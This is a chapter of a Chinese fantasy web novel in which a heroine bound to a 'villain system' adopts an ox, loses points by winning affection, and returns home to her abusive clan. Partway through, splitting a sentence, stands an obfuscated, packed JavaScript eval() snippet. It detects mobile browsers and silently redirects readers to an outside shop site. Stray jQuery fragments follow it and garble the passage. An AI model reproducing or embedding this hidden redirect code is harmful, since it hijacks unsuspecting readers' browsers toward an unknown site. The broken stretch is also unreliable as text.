16. 危!厌气值大跳水
    “梁大爷,您别逗他了。人家是仙门秀竹,不经逗。剑派还立了规矩,不准弟子接近女色。”

    “嘶……”梁既稍感奇怪:“我怎么没听哪个剑派有这样的规矩?”

    “您隐居赋笙洲多年,又怎会知晓外边的世界?”裴季无淡淡瞥他。

    “不无道理。”云裳缨点头,话锋一转:“但又不对。整个中原里,就唯独他们剑派有这规矩,别人没有,所以您不知道也是情理之中。”

    梁既哈哈大笑:“原来如此、原来如此。”

    两人笑得过于张扬,似将往天派的规矩置于饭桌上取笑,裴季无听不下去,起身离开。

    他们见状一顿。云裳缨嘀咕:“小心眼,又闹小仙子脾气。”

    她回头对梁既道:“大爷您吃着,我去看看他。”

    梁既笑意暧昧,撅嘴催促:“去吧快去。”头一回见还需要哄的小伙子。

    可惜裴季无步伐极快,云裳缨追得迟些,人便不见了踪影。

    “裴季无!”她边喊边在河边漫步。过了会儿,忽闻刺耳的猴叫,看过去发现有只黑牛驮着猴过河。

    猴全身黄毛,包齿嘴,脸皱巴巴的,一边叽叽喳喳地怪叫,一边急躁地挠身子,看得云裳缨都觉得自己有跳蚤。

    她难受地想快些离开,突然牛长长地哞叫,声音低又悲。

    云裳缨再看,原来毛猴一直掰扯黑牛的角,要它驮着自己过河,却扯疼了它。

    “泼猴。”云裳缨运出一道仙力把毛猴击下河。登时将找裴季无的事抛去九霄云外。

    “咿呀!咿呀!”毛猴摔进河里惨叫,毛发湿了,像极了人类婴孩,顺着湍急的河水往下冲,她顿感内疚,不想救了牛反倒弄死一只猴,便将衣裳扯成长条,一端丢给毛猴。

    好在毛猴修为不低,略通人性,立马抓住布条一端,咿呀尖叫着让云裳缨拉上河。

    可一上岸,那猴居然扑到云裳缨腿上挂着,怪叫着撕扯她的衣裙。云裳缨毛骨悚然,边踢边道:“你这臭猴子,松手!”

    毛猴似乎认准了云裳缨不敢杀生,就是不走,反而越抱越紧、越叫越大声。

    “滚开。”一把剑忽然抵住毛猴的脑袋。

    云裳缨愣住,发觉一人提剑侧身在旁,悄悄望去,裴季无双目幽寒,仪表堂堂,不由心神一晃。

    快瞎了,这该死的主角光环。云裳缨别过头,裴季无看毛猴不知死活,往前抵了下剑,它立即悚叫着蹿逃,躲进一旁的树丛。

    “下次遇见这种畜生,尽管拔剑架在它们的脖子,它们怕死的很。”裴季无道。

    “万一失手,岂不造下孽缘?”云裳缨感觉被抱住的小腿酸疼,撩起衣裙一看,果然淤青了。

    裴季无凝眉,正欲说什么,忽然看见她往河边去。

    原是河水越来越急,黑水牛寸步难行,云裳缨使力沉身,亲自下河带牛上岸,发现它身上有诸多擦伤,顺道用仙力帮它愈合。

    然后拍拍它的脑袋,道:“去吧。”

    牛没动,仰头哞叫一声,忽然头顶她的膝弯,她惊呼一声坐牛背上。

    本要扶她的裴季无扑了个空,看向她的脚,想到毛猴留下的淤青,不免道:“这牛看你腿上有伤,想驮你走路。”

    云裳缨面露喜色,摸水牛的背道:“你居然这么通人性。多谢了,你回去吧。”

    她正要下来,那牛居然摇头,拖长了调子哞叫,似是很不情愿。

    “你要跟着我?”云裳缨问。

    牛点点头,云裳缨立马答应:“好,我们回去找梁大爷!”

    她还没养过仙界的牛呢,一定很有意思。

    刚这么想,系统提示忽然响起。

    【警告:反派厌气值-20,余315请注意反派人设是否正确。】

    ?

    ??

    “不是吧,连牛的好感也包括在内啊!”

    【任何有生命体征的好感度都会被检测,请时刻维持反派人设。】

    云裳缨郁闷死了。反派不讲信用,可是她讲啊,总不能为了厌气值把刚才说的话再吐出来然后丢下这头牛吧!

    裴季无余光看她,没看出她的心思,问:“你当真信梁前辈的话?”

    “我信啊。”云裳缨只好认栽,躺在牛背上悠闲道:“但我更相信你。你不准死,必须成神。”

    裴季无目光紧随着她的坐姿,好半天问:“你以何身份命令我,是她,还是云裳缨?”

    云裳缨笑笑:“你那么不经闹,我便不说啦。”

    “……”他知她现在不是云三。

    却不知她姓名。

    “你……”裴季无轻启薄唇,云裳缨忽道:“叫它阿福吧。”

    见她下定主意要带那头牛,裴季无想说它不辟谷,上路要吃草粮,你如何能带那么多草粮喂到前赋笙?

    但话临到嘴边,他咽回去了。

    “裴季无?”看他不说话,云裳缨喊他,他移目看她。她笑逐颜开,“裴季无,季无。”

    他淡淡嗯了声,问:“何事。”

    “有没有人说过,你的名字像小鸟啊?”

    “哪里像?”

    “季无,啾唔。”

    裴季无一愣,下意识看向她的唇,撅起来时鲜红欲滴、饱满粉嫩,她自己说着也忍不住笑了。

    他立马别开眼,道:“从未有人说过。”

    “那现在有了。”

    裴季无的视线划过眼尾,觑她欢然骑牛的样子,唇边不自觉抿出一抹笑。

    【警告:反派厌气值-40,余275,请注意反派人设是否正确。】

    忽然听到系统警告,云裳缨动作一停,僵硬地看向表情毫无波澜的裴季无。

    懵了。

    “你没有统计错吧?”

    【没有。】

    裴季无发现云裳缨盯着自己,坦然回视。

    【警告:反派厌气值-50,余225,请注意反派人设是否正确。】

    数据大跳水!

    “你还……”云裳缨惊了,完全不知道怎么治他,简直想拿剑捅他。她道:“你你你,我告诉你,我可是和真正的云三一样,都不是什么好人。倘若你哪天忘了,定会让你后悔!”

    不知道她为什么朝自己放狠话,还气到连涨红。裴季无低头,浅浅噙笑,话音随风拂远。

    “莫敢忘……”

    翌日,待梁既和裴季无整装好后,去云裳缨住的屋子一看,却只看到桌上留了一封书信。

    云裳缨写道:

    时限已至,我先一步回前赋笙。

    梁既在裴季无身后偷看,“那小姑娘怎么自己先跑了?”

    裴季无沉眸,“梁前辈,此后再与她相见,我们都当不认识她。”

    梁既不明所以,探问:“你俩吵架啦?”

    裴季无看他,想着云裳缨并没有将她的事告诉梁前辈,应该是不愿旁人知晓,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129359|149125||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    便道:“没有。这是她的意思,我们不便过问。”

    梁既也是在人间江湖漂泊过的,明白人人都有难言之隐,便答应了。

    裴季无背着行李走出去,去牵阿福。

    没想到阿福看见是裴季无,低低哞叫着别过头,好像懒得待见他。

    裴季无:“……”

    此时。

    云裳缨正在绿林中飞速穿梭。

    她本来想直接去八觉临关的子乌林,原著说,那里是鬼怪界的入口。

    传闻还连接魔界——神界的死敌。

    按照各界互不干扰的原则,会碰上的概率极小,原著中也没有提及。然而现在剧情已经乱套了,保不齐是否遇见。

    多一事不如少一事,云裳缨想立即趁身子复原的时机,去子乌林寻找兽血凝珠。

    但系统纵观全局,提前发现了那里此刻聚集大量各宗门教派的高手,于是只好作罢,先行折回前赋笙。

    除了那些仙师高手,其他弟子也陆续回来了。

    云裳缨先回自己曲径园梳洗,丛鱼洗净了手穿过帷帘,让几个伺候的家仆出去,自己慢步走到她身后跪下,细细轻柔地为她按摩肩膀。

    半响,犹豫的声音从身后传来,“仙子,你去的这些日子里,园中进贼了。”

    “贼?”云裳缨侧头,但仍闭着眼享受。语气懒散:“云濯呢,让他来抓人。”

    从鱼道:“叫了,可是……他没抓到。”

    云裳缨皱眉。什么贼能那么厉害,连阿姐二哥精心挑选的手下都未能抓获?

    她这一思索,下午便到了浮宫殿后院,看见外面跪着九男九女,疑惑地问离得最近的女子:“因何事跪在这?”

    那女子方要开口,眼前的屋内忽然大声喝斥,势如雷霆,“你说什么?!找不到?那点人也杀不干净,要你何用!”

    紧跟着啪地一声,不知鞭子抽到什么人上,能轻微听到皮肉绽开的声音。

    云裳缨心头一紧。

    过了一阵,门扉咯吱开了。

    云英久面无表情地拉开门,面色苍白。

    “阿姐。”云裳缨跑到跟前,看到她背后血淋淋的,伤痕累累,刚想发怒。

    忽然想到什么,余光与室内的女人相接。

    她身着云氏独有的描金凤纹粉衣裳,目光如蝎如刀,处处割人血肉。

    脚边还垂着一条滴血的长鞭。

    “裳儿。”云氏主母云溪威坐着,直直地看着她,半张阴森森的面孔隐在黑暗里,叫人心中发寒。

    她还欲开口,云英久却抢先道:“裳儿,随阿姐走,帮阿姐擦药。”

    云裳缨不敢和主母对抗,但两人也并无母女感情,形同路人,于是转身跟着阿姐走了。

    云溪脸上抽搐了一下,沉眸握紧手柄。

    点着檀香的室内,一块块血布被丢在桌案上,云裳缨每洒一次药就偷偷关注阿姐的反应,生怕弄疼了她。

    “阿姐,这次……”云裳缨犹豫着开口。

    云英久截住她的话头,侧目问:“那女鬼可有再烦你?”

    云裳缨顿了顿,低声道:“没有。区区小鬼,哪能是我的对手。”

    “也是。”云英久收回视线,淡道:“你身子已经恢复了,不再是残弱之躯,压制一只小鬼确实不在话下。”

    “此次后赋笙之行,你收获颇丰。”

    云裳缨屏息,心中打鼓。

    被发现了。